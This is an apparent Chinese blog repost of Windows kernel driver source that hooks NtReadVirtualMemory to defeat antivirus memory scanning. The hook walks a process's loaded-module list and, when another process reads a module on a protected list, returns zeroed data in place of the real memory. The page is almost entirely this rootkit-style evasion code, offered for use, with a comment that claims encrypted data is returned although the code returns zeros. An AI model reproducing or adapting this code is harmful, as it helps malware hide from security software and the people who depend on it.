查看文章 |
[转载]对抗杀毒内存扫描
2008-07-25 15:41
通过对 NtReadVirtualMemory 挂钩,防止其他进程对保护的模块进行扫描,
如果发现其他进程读被保护模块的内存,则返回0 --*/
typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; /* +0x034 Flags : Uint4B +0x038 LoadCount : Uint2B +0x03a TlsIndex : Uint2B +0x03c HashLinks : _LIST_ENTRY +0x03c SectionPointer : Ptr32 Void +0x040 CheckSum : Uint4B +0x044 TimeDateStamp : Uint4B +0x044 LoadedImports : Ptr32 Void +0x048 EntryPointActivationContext : Ptr32 Void +0x04c PatchInformation : Ptr32 Void */ } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; /*++
函数名: MyNtReadVirtualMemory
参数: IN HANDLE ProcessHandle, IN PVOID BaseAddress, OUT PVOID Buffer, IN ULONG BufferLength, OUT PULONG ReturnLength OPTIONAL 功能: 隐藏保护模块的内存,如果发现有内存扫描到这块内存,则返回加密后的数据扰乱扫描过程 返回: NTSTATUS --*/ NTSTATUS MyNtReadVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, OUT PVOID Buffer, IN ULONG BufferLength, OUT PULONG ReturnLength OPTIONAL ) { NTSTATUS status; PEPROCESS eProcess; PVOID Peb; PPEB_LDR_DATA PebLdrData; PLDR_DATA_TABLE_ENTRY LdrDataTableHeadList; PLDR_DATA_TABLE_ENTRY LdrDataTableEntry; PLIST_ENTRY Blink; PPROTECT_NODE FileNode = NULL; BOOLEAN bHideFlag = FALSE; ULONG ImageMaxAddress = 0; /*
#ifdef _DEBUG DbgPrint( "Call Process: %s, BaseAddress: %08x\n", PsGetProcessImageFileName( PsGetCurrentProcess() ), BaseAddress ); #endif */ status =ObReferenceObjectByHandle(
ProcessHandle, FILE_READ_DATA, PsProcessType, KernelMode, (PVOID)&eProcess, NULL ); if ( NT_SUCCESS(status) ) { // // 得到PEB的地址 // Peb = (PVOID)(*(PULONG)((PCHAR)eProcess + PebOffset)); // // 切换到目标进程空间 // KeAttachProcess( eProcess ); // // 判断PEB是否有效,如果有效,那么准备利用PEB结构遍历进程加载的模块 // if ( !MmIsAddressValid( Peb ) ) {
/*
#ifdef _DEBUG DbgPrint( "PEB is error.\n" ); #endif */ KeDetachProcess(); ObDereferenceObject( eProcess ); goto CLEANUP; } PebLdrData = (PPEB_LDR_DATA)(*(PULONG)( (PCHAR)Peb + 0xc )); if ( !PebLdrData ) { KeDetachProcess(); ObDereferenceObject( eProcess ); goto CLEANUP; } try { ProbeForRead ( PebLdrData, sizeof(PEB_LDR_DATA), sizeof(ULONG) ); // // 遍历模块链表 // LdrDataTableHeadList = (PLDR_DATA_TABLE_ENTRY)PebLdrData->InLoadOrderModuleList.Flink; LdrDataTableEntry = LdrDataTableHeadList; do { ProbeForRead( LdrDataTableEntry, sizeof(LDR_DATA_TABLE_ENTRY), sizeof(ULONG) ); if ( !LdrDataTableEntry->DllBase ) { LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
continue; } // // 判断读的内存属于那一个模块,如果都不属于,那么放过 // ImageMaxAddress = (ULONG)((ULONG)LdrDataTableEntry->DllBase + LdrDataTableEntry->SizeOfImage);
if ( (ULONG)( (ULONG)BaseAddress + BufferLength) < (ULONG)LdrDataTableEntry->DllBase || (ULONG)BaseAddress > ImageMaxAddress ) { //
// 如果不是读模块区域,那么枚举下一个 // LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
continue; } // // 如果是被保护的模块,那么返回虚假数据 // bHideFlag = FALSE;
Blink = ProtectFile.Blink; while ( Blink != &ProtectFile ) {
FileNode = CONTAINING_RECORD( Blink, PROTECT_NODE, ActiveLink );
// // 如果发现当前文件存在于隐藏列表,那么设置隐藏标志隐藏它 // if ( wcsstr( FileNode->ProtectName, LdrDataTableEntry->FullDllName.Buffer ) ) {
bHideFlag = TRUE;
break; } Blink = Blink->Blink;
} if ( bHideFlag ) { // // 返回原本的进程空间进行处理 // KeDetachProcess();
ObDereferenceObject( eProcess ); ProbeForWrite(
Buffer, BufferLength, sizeof(ULONG) ); memset( Buffer, 0x00, BufferLength ); ProbeForWrite( ReturnLength, sizeof(PULONG), sizeof(ULONG) ); *ReturnLength = BufferLength; return STATUS_SUCCESS; } LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink; } while ( LdrDataTableEntry != LdrDataTableHeadList ); } except( EXCEPTION_EXECUTE_HANDLER ) {
if ( !bHideFlag ) {
KeDetachProcess(); ObDereferenceObject( eProcess ); } goto CLEANUP;
} KeDetachProcess(); ObDereferenceObject( eProcess ); } CLEANUP: return NtReadVirtualMemory( ProcessHandle, BaseAddress, Buffer, BufferLength, ReturnLength ); } |
最近读者: